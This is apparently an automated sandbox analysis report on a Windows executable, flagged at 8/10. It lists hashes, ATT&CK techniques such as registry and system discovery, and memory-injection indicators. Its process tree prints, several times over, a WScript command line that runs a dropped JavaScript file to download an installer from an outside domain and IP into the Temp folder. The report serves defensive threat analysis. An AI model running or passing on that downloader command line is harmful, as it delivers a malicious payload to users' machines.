5b6412e0de7fe5473b6bbe51f91cf84497d5516d3a5d717e3b3700b60167fe8e

Analysis

max time kernel
134s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 03:04

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General

Target

4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe
Size

184KB
MD5

4447f1352c2ceaa7bdfdf8df7a5ec30c
SHA1

46721f2810edc1477d076a2fceae717f56f6d22d
SHA256

5b6412e0de7fe5473b6bbe51f91cf84497d5516d3a5d717e3b3700b60167fe8e
SHA512

21a2e19dc6e40c4b606c61002ff9de1521ee52cbd0efc736771e3d3512182e20b7f5408c27cf5e1a8ee59f05c974028805e07eea4c7a98df70354008e7cb292a
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3k:/7BSH8zUB+nGESaaRvoB7FJNndnl

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	532	WScript.exe
38	1716	WScript.exe
40	4516	WScript.exe
41	4516	WScript.exe
56	3476	WScript.exe
58	4308	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 532	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	83
PID 2836 wrote to memory of 532	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	83
PID 2836 wrote to memory of 532	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	83
PID 2836 wrote to memory of 1716	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	96
PID 2836 wrote to memory of 1716	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	96
PID 2836 wrote to memory of 1716	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	96
PID 2836 wrote to memory of 4516	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	97
PID 2836 wrote to memory of 4516	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	97
PID 2836 wrote to memory of 4516	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	97
PID 2836 wrote to memory of 3476	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	100
PID 2836 wrote to memory of 3476	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	100
PID 2836 wrote to memory of 3476	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	100
PID 2836 wrote to memory of 4308	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	101
PID 2836 wrote to memory of 4308	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	101
PID 2836 wrote to memory of 4308	2836	4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4447f1352c2ceaa7bdfdf8df7a5ec30c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E44.js" http://www.djapp.info/?domain=rjmmkEVTTz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E44.exe
  2⤵
  - Blocklisted process makes network request
  PID:532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E44.js" http://www.djapp.info/?domain=rjmmkEVTTz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E44.exe
  2⤵
  - Blocklisted process makes network request
  PID:1716
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E44.js" http://www.djapp.info/?domain=rjmmkEVTTz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E44.exe
  2⤵
  - Blocklisted process makes network request
  PID:4516
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E44.js" http://www.djapp.info/?domain=rjmmkEVTTz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E44.exe
  2⤵
  - Blocklisted process makes network request
  PID:3476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E44.js" http://www.djapp.info/?domain=rjmmkEVTTz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E44.exe
  2⤵
  - Blocklisted process makes network request
  PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf2E44.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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